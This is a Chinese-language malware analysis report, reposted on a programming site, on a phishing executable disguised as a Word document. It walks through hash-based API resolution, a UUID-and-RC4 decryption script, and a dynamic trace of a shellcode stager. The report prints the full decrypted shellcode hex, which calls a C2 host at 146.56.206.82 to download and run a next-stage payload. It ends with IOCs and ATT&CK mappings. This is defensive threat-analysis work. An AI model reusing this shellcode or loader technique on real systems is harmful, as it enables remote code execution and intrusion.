某恶意软件样本逆向分析报告
1.概述样本来源微步在线恶意软件名称刘文博-关于北京体彩中心的问题反馈.exesha256c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b642.行为分析该程序图标设为word文档图标实际为exe文件诱骗受害者打开使用了process monitor未发现写入文件行为注册表持久化行为。使用fiddler发现网络行为连接了某IP地址但是已经收不到响应了。3.静态动态分析遍历模块遍历所有模块通过hash值找到目标模块获取其地址。这里的hash值是0xD3C8C75F我们使用hashDB插件分析该值可以得出这里使用了名为djb2_uppercase的算法解密该值代表ntdll.dll。因此得出这部分代码的目的是获得ntdll.dll的地址。函数地址获取获得ntdll.dll模块后接着就是获取该模块中某些函数的地址。可以看到调用了一个函数以模块地址和一个hash值作为参数猜测该函数是用于获取函数地址的接下来分析该函数。可以看到该函数通过对一个模块中所有导出函数的遍历比对目标hash值从而获得目标函数地址。经分析可得这里用的hash算法与前面模块hash的算法相同即djb2_uppercase因此我们可以用相同方式解密得到hash值代表的函数。经分析可得该程序会从ntdll模块中获取如下函数地址NtProtectVirtualMemoryNtWaitForSingleObjectNtCreateThreadExNtQueueApcThreadNtResumeThreadNtCloseNtTerminateThreadRtlExitUserThread接下来程序用相同的方式从kernel32模块中获取了LoadLibraryEx函数地址。函数调用接下来调用函数执行恶意行为。注意到本程序没有直接调用函数而是用了一个间接调用的方法。可以看到本程序会把目标函数的地址写到某个地址处然后跳转到这里执行。而执行函数的参数从伪代码中是看不到的需要从汇编代码中看后续动态分析会详细分析参数。确定shellcode注入点程序先后尝试调用NtCreateThreadEx和NtQueueApcThread方法并把0x1000地址作为随后放置shellcode的起始点。但在实际运行中都失败了最终通过第三条路径注入了shellcode。第三条路径使用了前面相同的遍历方法得到了chakra.dll0x1000的地址准备把shellcode放在这里。利用前面提到的调用方式调用NtProtectVirtualMemory我们需通过汇编代码看传参情况可以看到rdx放入了注入点地址r9放入了4代表将权限改为可读可写。这里调用该函数是将注入点内存权限设为可写准备写入新内容。解密shellcode接下来程序分两步解密了一段硬编码数据并将结果放入了前面提到的注入点位置。我使用大模型分析了这段解密算法并编写了解密脚本提供给大模型解密算法的伪代码和代码中使用的必要的数据程序存储了59个uuid字符串第一步先将字符串解码为944字节的二进制数据然后使用解密算法——标准的RC4算法进行解密得到了最终的shellcode。import uuid def step1_decode(uuids_str): 第一步将 59 个以空字符分隔的 UUID 字符串解码为 944 字节的二进制数据。 遵循 Windows GUID 结构体的内存排布小端序前 3 段 大端序后 2 段。 uuid_list uuids_str.split(\x00) result bytearray() for u_str in uuid_list: if not u_str: continue u uuid.UUID(u_str) result.extend(u.bytes_le) return bytes(result) def step2_decrypt(data): 第二步使用标准的 RC4 算法对数据进行解密。 感谢栈变量提示v146[v8213] 实际上是越界访问了紧随其后的 v147 所以所有的交换操作都是在 v147 (即 S-box) 内部进行的。 if len(data) 940: raise ValueError(数据长度必须至少为 940 字节) # 初始化 S-box S list(range(256)) # 自定义密钥数据 K [0x53, 0x7D, 0xB8, 0xF9, 0xD9, 0x6A, 0x64, 0x1E, 0xCD, 0x98, 0x3F, 0x3D, 0x20, 0x3A, 0x19, 0x50] # ---- 标准 RC4 KSA 密钥调度 ---- j 0 for i in range(256): j (j S[i] K[i % 16]) 0xFF S[i], S[j] S[j], S[i] # ---- 标准 RC4 PRGA 伪随机生成 ---- data bytearray(data) i 0 j 0 # 循环 940 次进行异或解密 for out_idx in range(940): i (i 1) 0xFF j (j S[i]) 0xFF S[i], S[j] S[j], S[i] k S[(S[i] S[j]) 0xFF] data[out_idx] ^ k return bytes(data) # 使用示例 if __name__ __main__: # 读取你提供的 aF8dbae6eEb3577.txt 中的字符串 uuid_str f8dbae6e-eb35-77f6-a625-1f5d9f3beac0\x00b844265c-8b6e-dbe8-817d-24d3bf6f9edb\x00d5169886-35f3-9db2-3672-638fe58b5e07\x004c9b311b-397b-0d13-410d-59807e7ccbc8\x007d7fc87b-1dce-2755-e855-69a4af7af278\x00759752f2-1680-1e32-30f8-b8a61b0daeb5\x00b49b4b36-44dc-adfe-7d7b-8b3cf5fa9e06\x00e5994c48-4a71-9e1a-1b4f-5bd5f5103df7\x009c80c83f-c1ec-aab9-69e2-e426e9e9a96c\x0055676d0f-5b24-2a52-2a3d-e2a1231c1092\x00c7e793c7-52f1-e713-93f0-34b4450ea76b\x009eec3f2f-d33d-9417-f64b-17012047d09b\x0026ee0b15-3a0d-5cbd-a176-93bc511f9da0\x00965c4a57-4ba2-d496-c573-aba79b7d4b1a\x008900e024-cc0e-8cf8-f851-202278261659\x008eec7e82-694f-f499-c3c8-a39357998d83\x001124ab6d-4a03-4aad-fb5c-05174377b862\x00920c6beb-6bc3-457d-2742-fb77e9c51a01\x003c0ffbf1-9b41-7134-d879-800644352944\x002d8d60eb-b515-25a4-ee60-9d3009ec5bdc\x004f5a5828-35ba-20cd-ccc7-bfa558ff4d85\x00fddc8855-d36a-5f2b-6ccf-8ecb9e0b662b\x00f3fe1b02-2b93-f32d-1dd7-b0a970d8e04a\x002419f686-465f-f8b1-759d-37b6cfd92d8c\x00d393a542-2c92-2c1a-3e51-bbad82847c1f\x0075e1d541-c550-55cd-a675-bc0345c9d5d3\x002e0a1e96-c963-fa19-ef7c-f6e233e6eff2\x0046ea6705-5eb9-067d-f921-bd2626e298f6\x00105ef4cb-71cc-2dd8-c7e7-8e49ff2d900a\x00c9a83925-a382-855c-b20d-31bbbc9e4432\x0053dc8659-b467-9e7a-eaa9-021f1d7a3227\x0016821506-3b95-dcb5-6e1c-a676a40fd921\x00bd1fd992-b25b-de26-ba97-c5aeeb32e18a\x00afe769f7-8221-3592-893e-790dbc56015e\x00635e0112-b18a-6b30-de62-a48009530b5b\x0032d688c1-ee45-9821-d1e3-48148d0a4f5e\x007062fe4d-cce1-8a01-d521-6bfe7f21c730\x005acbd652-9730-27e5-6407-f3dded721526\x0054d17388-207a-1ec8-4bf1-fcac848d42ef\x00163440eb-4da7-5498-faf7-b23af3d08083\x00826d4599-0e94-ce58-3efb-56becdd94ad2\x00be585980-eff6-6de9-6909-84c0bea73c3c\x009c846b5c-297c-d878-a1df-0cd48ac5b227\x0048504bd7-50e1-2063-79a2-3aa5d4790c7e\x0094ad37e1-7691-5ab4-4acf-2989c930673d\x00aa184a26-1518-1b04-c522-3b490e57a457\x00528a8d63-37ca-4d7f-ab0c-038b3b08359b\x00131da6be-fa10-3c3f-f2db-0c33d674f19d\x0021902679-5424-3adb-e459-1601e6b9a812\x00bb24819b-5d91-8e27-1d8c-85b0461f8396\x00251e2350-6eb2-7565-aab6-15c51e6f3441\x00ec10761e-70f4-3391-9c11-6de4d62889a4\x003e338b69-32cc-3363-040a-e02f979be1ed\x00c02cb8de-ec18-0296-fbdd-3991048f437b\x00efe29aa6-6cc8-ca52-0949-4d86a8953c6e\x00aa1fa7e3-e333-db0c-eda5-5f9988519070\x00ce25b3c6-e4f5-e562-3bbc-3ed19c7d08e7\x0067c3d188-8d8f-4e3f-e779-2b4a2f850b76\x002ff2bfce-ca7b-4a09-d5f8-cf8d90909090 # 此处省略完整串替换为你实际的完整输入 # 1. 执行第一步 binary_data step1_decode(uuid_str) print(fStep1 解码完成数据长度: {len(binary_data)} bytes) # 2. 执行第二步 decrypted_data step2_decrypt(binary_data) print(fStep2 解密完成有效数据前 20 字节: {decrypted_data[:20].hex()})两步骤分别得到的数据如下6E AE DB F8 35 EB F6 77 A6 25 1F 5D 9F 3B EA C0 5C 26 44 B8 6E 8B E8 DB 81 7D 24 D3 BF 6F 9E DB 86 98 16 D5 F3 35 B2 9D 36 72 63 8F E5 8B 5E 07 1B 31 9B 4C 7B 39 13 0D 41 0D 59 80 7E 7C CB C8 7B C8 7F 7D CE 1D 55 27 E8 55 69 A4 AF 7A F2 78 F2 52 97 75 80 16 32 1E 30 F8 B8 A6 1B 0D AE B5 36 4B 9B B4 DC 44 FE AD 7D 7B 8B 3C F5 FA 9E 06 48 4C 99 E5 71 4A 1A 9E 1B 4F 5B D5 F5 10 3D F7 3F C8 80 9C EC C1 B9 AA 69 E2 E4 26 E9 E9 A9 6C 0F 6D 67 55 24 5B 52 2A 2A 3D E2 A1 23 1C 10 92 C7 93 E7 C7 F1 52 13 E7 93 F0 34 B4 45 0E A7 6B 2F 3F EC 9E 3D D3 17 94 F6 4B 17 01 20 47 D0 9B 15 0B EE 26 0D 3A BD 5C A1 76 93 BC 51 1F 9D A0 57 4A 5C 96 A2 4B 96 D4 C5 73 AB A7 9B 7D 4B 1A 24 E0 00 89 0E CC F8 8C F8 51 20 22 78 26 16 59 82 7E EC 8E 4F 69 99 F4 C3 C8 A3 93 57 99 8D 83 6D AB 24 11 03 4A AD 4A FB 5C 05 17 43 77 B8 62 EB 6B 0C 92 C3 6B 7D 45 27 42 FB 77 E9 C5 1A 01 F1 FB 0F 3C 41 9B 34 71 D8 79 80 06 44 35 29 44 EB 60 8D 2D 15 B5 A4 25 EE 60 9D 30 09 EC 5B DC 28 58 5A 4F BA 35 CD 20 CC C7 BF A5 58 FF 4D 85 55 88 DC FD 6A D3 2B 5F 6C CF 8E CB 9E 0B 66 2B 02 1B FE F3 93 2B 2D F3 1D D7 B0 A9 70 D8 E0 4A 86 F6 19 24 5F 46 B1 F8 75 9D 37 B6 CF D9 2D 8C 42 A5 93 D3 92 2C 1A 2C 3E 51 BB AD 82 84 7C 1F 41 D5 E1 75 50 C5 CD 55 A6 75 BC 03 45 C9 D5 D3 96 1E 0A 2E 63 C9 19 FA EF 7C F6 E2 33 E6 EF F2 05 67 EA 46 B9 5E 7D 06 F9 21 BD 26 26 E2 98 F6 CB F4 5E 10 CC 71 D8 2D C7 E7 8E 49 FF 2D 90 0A 25 39 A8 C9 82 A3 5C 85 B2 0D 31 BB BC 9E 44 32 59 86 DC 53 67 B4 7A 9E EA A9 02 1F 1D 7A 32 27 06 15 82 16 95 3B B5 DC 6E 1C A6 76 A4 0F D9 21 92 D9 1F BD 5B B2 26 DE BA 97 C5 AE EB 32 E1 8A F7 69 E7 AF 21 82 92 35 89 3E 79 0D BC 56 01 5E 12 01 5E 63 8A B1 30 6B DE 62 A4 80 09 53 0B 5B C1 88 D6 32 45 EE 21 98 D1 E3 48 14 8D 0A 4F 5E 4D FE 62 70 E1 CC 01 8A D5 21 6B FE 7F 21 C7 30 52 D6 CB 5A 30 97 E5 27 64 07 F3 DD ED 72 15 26 88 73 D1 54 7A 20 C8 1E 4B F1 FC AC 84 8D 42 EF EB 40 34 16 A7 4D 98 54 FA F7 B2 3A F3 D0 80 83 99 45 6D 82 94 0E 58 CE 3E FB 56 BE CD D9 4A D2 80 59 58 BE F6 EF E9 6D 69 09 84 C0 BE A7 3C 3C 5C 6B 84 9C 7C 29 78 D8 A1 DF 0C D4 8A C5 B2 27 D7 4B 50 48 E1 50 63 20 79 A2 3A A5 D4 79 0C 7E E1 37 AD 94 91 76 B4 5A 4A CF 29 89 C9 30 67 3D 26 4A 18 AA 18 15 04 1B C5 22 3B 49 0E 57 A4 57 63 8D 8A 52 CA 37 7F 4D AB 0C 03 8B 3B 08 35 9B BE A6 1D 13 10 FA 3F 3C F2 DB 0C 33 D6 74 F1 9D 79 26 90 21 24 54 DB 3A E4 59 16 01 E6 B9 A8 12 9B 81 24 BB 91 5D 27 8E 1D 8C 85 B0 46 1F 83 96 50 23 1E 25 B2 6E 65 75 AA B6 15 C5 1E 6F 34 41 1E 76 10 EC F4 70 91 33 9C 11 6D E4 D6 28 89 A4 69 8B 33 3E CC 32 63 33 04 0A E0 2F 97 9B E1 ED DE B8 2C C0 18 EC 96 02 FB DD 39 91 04 8F 43 7B A6 9A E2 EF C8 6C 52 CA 09 49 4D 86 A8 95 3C 6E E3 A7 1F AA 33 E3 0C DB ED A5 5F 99 88 51 90 70 C6 B3 25 CE F5 E4 62 E5 3B BC 3E D1 9C 7D 08 E7 88 D1 C3 67 8F 8D 3F 4E E7 79 2B 4A 2F 85 0B 76 CE BF F2 2F 7B CA 09 4A D5 F8 CF 8D 90 90 90 90 FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED 52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 66 81 78 18 0B 02 75 72 8B 80 88 00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4F FF FF FF 5D 6A 00 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 FF D5 48 31 C9 48 31 D2 4D 31 C0 4D 31 C9 41 50 41 50 41 BA 3A 56 79 A7 FF D5 E9 9D 00 00 00 5A 48 89 C1 41 B8 BB 01 00 00 4D 31 C9 41 51 41 51 6A 03 41 51 41 BA 57 89 9F C6 FF D5 E9 80 00 00 00 5B 48 89 C1 48 31 D2 49 89 D8 4D 31 C9 52 68 00 32 C0 84 52 52 41 BA EB 55 2E 3B FF D5 48 89 C6 48 83 C3 50 6A 0A 5F 48 89 F1 BA 1F 00 00 00 6A 00 68 80 33 00 00 49 89 E0 41 B9 04 00 00 00 41 BA EC 72 CA 9D 49 81 F2 99 34 54 1B FF D5 48 89 F1 48 89 DA 49 C7 C0 FF FF FF FF 4D 31 C9 52 52 41 BA 2D 06 18 7B FF D5 85 C0 0F 85 9D 01 00 00 48 FF CF 0F 84 8C 01 00 00 EB AC E9 EB 01 00 00 E8 7B FF FF FF 2F 72 65 73 2F 6A 73 2F 6A 71 75 65 72 79 2D 33 2E 36 2E 32 2E 73 6C 69 6D 2E 6D 69 6E 2E 6A 73 00 3E FE A5 4A 98 0A FB 6B 5A 8B 50 2A 77 57 67 D0 AA A2 4C CA 9B 06 BF 43 08 F3 8A 73 3A A2 82 56 EB 72 A1 FB D4 61 85 2A 33 1F F5 F3 77 C2 00 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 61 6E 67 75 61 67 65 3A 20 64 65 2D 44 45 2C 20 65 6E 2D 43 41 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 38 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 35 2E 30 29 0D 0A 00 6E 36 F2 13 1E 60 33 20 C8 55 6E 06 D8 39 0B 10 C4 79 2A 63 82 E4 7A 4F 74 BC 7B 76 53 E9 C5 3A 7D 03 6D DD 34 DD 28 4F 07 8D 74 CB B5 2C BF 85 6C 08 44 0A 32 14 4A 77 43 63 CC CB E7 66 29 6C 57 3D 1C AE 95 E8 EA 6F D0 F0 B8 31 B3 E5 93 1C 55 9F 4E 66 4F 40 69 BF A0 3F 6C 2A 5F E5 46 C8 2E 7B EB B8 16 31 4A D6 AC C8 4C 55 76 C0 C9 AD 45 96 1B DE 24 5E 00 42 36 42 C6 0E 4A 72 C0 C6 3C 2E 60 92 77 81 6B 1E 42 0B EE C4 86 61 5A 15 A9 21 D8 B4 EC EB CE C5 42 59 47 89 37 DD 29 49 BF 8B 96 F3 37 B1 30 F7 C9 D5 18 2D D1 FD 6A 5B 0E 7D 54 07 00 41 BE F0 B5 A2 56 FF D5 48 31 C9 BA 00 00 40 00 41 B8 00 10 00 00 41 B9 40 00 00 00 41 BA 50 F0 07 F3 49 81 F2 08 54 54 16 FF D5 48 93 53 53 48 89 E7 48 89 F1 48 89 DA 41 B8 00 20 00 00 49 89 F9 41 BA 12 96 89 E2 FF D5 48 83 C4 20 85 C0 74 AF 66 8B 07 48 01 C3 85 C0 75 D7 58 58 58 48 05 00 00 00 00 50 C3 E8 6E FD FF FF 31 34 36 2E 35 36 2E 32 30 36 2E 38 32 00 90 90 90 90小插曲最初大模型编写的脚本并不能得到正确结果我查看大模型分析过程发现提到了变量v146的处理出现了问题我查看发现v146的赋值来自命令strcpy(v146, chakra.dll)但是解密过程中出现了形如v85 v146[v82 13];这样的命令超出了v146的长度对此大模型的处理是默认为0。对此我使用x64dbg进行动态调试发现解密时在栈中v146的下面放入了大量数据解密时用到的就是这些数据经过调试发现这部分数据其实是伪代码中的v147也就是解密时用到的其实是v147。其实直接在ida中观察栈视图stack of main也可以发现这两个变量在栈中是相邻的超出v146的长度其实就是在访问v147.我把这一情况描述给了大模型大模型便发现这其实就是一个标准的RC4算法然后就纠正得到了正确的脚本。执行shellcode这里调用NtProtectVirtualMemory函数将存放shellcode的区域改为可执行权限然后便跳转到注入点执行shellcode。Shellcode分析我们将前面解密得到的二进制数据dump下来用IDA打开就能看到shellcode代码了简单看了一下发现跳转很多很乱最后我选择用x64dbg动态调试分析了这段shellcode。动态调试执行基址00007FF67E0F0000我们从这里步进观察shellcode的执行。程序先来到这里74656E696E6977h是字符串“wininet”然后把hash值726774Ch放入寄存器。随后会遍历各个模块首先取出的就是exe文件本身计算该模块的hash值这里和前面不一样用的是ROR13算法对模块进行一些基本的检查后来到模块的导出表准备遍历函数遍历函数计算函数名的hash值这里同样使用ROR13算法和r10寄存器中的726774Ch比较也就是要找到hash值为726774Ch的函数本模块所有导出函数遍历完没有找到目标会跳转至此随后会再跳转到前面提到的取模块处获取下一个模块然后重复上述遍历函数的过程。最后成功找到目标函数发现是kernel32模块的LoadLibraryA函数。随后找到该函数地址并把该函数地址放入rax设置好参数注意push r10这句指令把r10数据压栈作为目标函数执行完成后的返回地址然后jmp rax执行函数。这里执行该函数加载了wininet.dll模块。接下来会重复上述的过程来寻找函数执行。第二次执行了InternetOpenA函数。第三次执行InternetConnectA连接146.56.206.82的443端口第四次执行HttpOpenRequestA其中参数指向了/res/js/jquery-3.6.2.slim.min.js第五次寻找目标函数时对目标hash又做了一层异或加密这里和前面不一样。第五次执行了InternetSetOptionA第六次执行了HttpSendRequestA发送请求。若失败会重复几次执行InternetSetOptionA和HttpSendRequestA超过次数限制后会结束程序。而成功后会第七次寻找并执行函数VirtualAlloc申请一块内存。第八次执行InternetReadfileA读取响应的内容存入申请的地址。随后会跳转到该地址执行。由于无法真正获得响应分析到此为止。IOC TTPIOCsha256c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b64IP地址146.56.206.82TTPTA0001 初始访问①T1566 网络钓鱼将可执行文件伪装成Word文档图标诱骗受害者打开。TA0002 执行①T1204.002 用户执行.恶意文件受害者主动运行该伪装exe触发恶意代码。②T1106 原生API程序通过hash遍历获取并调用了底层APINtCreateThreadEx,NtQueueApcThread,NtResumeThread,NtProtectVirtualMemory等。TA0005 防御规避①T1036 伪装图标设为word文档图标实际为exe。②T1027.007 混淆文件和信息.动态解析API通过遍历模块和导出函数使用hash值动态获取ntdll.dll和kernel32.dll中的函数地址而非在导入表中显式声明。③T1027.010 混淆文件和信息.命令混淆硬编码数据分两步解密先将59个UUID字符串解码再使用标准RC4算法解密出最终的Shellcode。④T1620 反射式代码加载在内存中解密shellcode并直接执行不落地磁盘配合无文件行为。TA0011 命令与控制①T1071.001 应用层协议.Web协议依次调用InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA等函数建立HTTP/HTTPS连接。②T1105 入口工具传输调用VirtualAlloc申请内存通过InternetReadFile从响应中读取下一阶段载荷并执行实现载荷下发攻击链网络钓鱼诱惑受害者→ 用户执行恶意exe→ 动态解析ntdll/kernel32关键API → 解密内置shellcodeUUIDRC4→ 反射式加载shellcode → shellcode调用WinINet组建HTTPS C2通信 → 下载并执行下一阶段载荷
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2606488.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!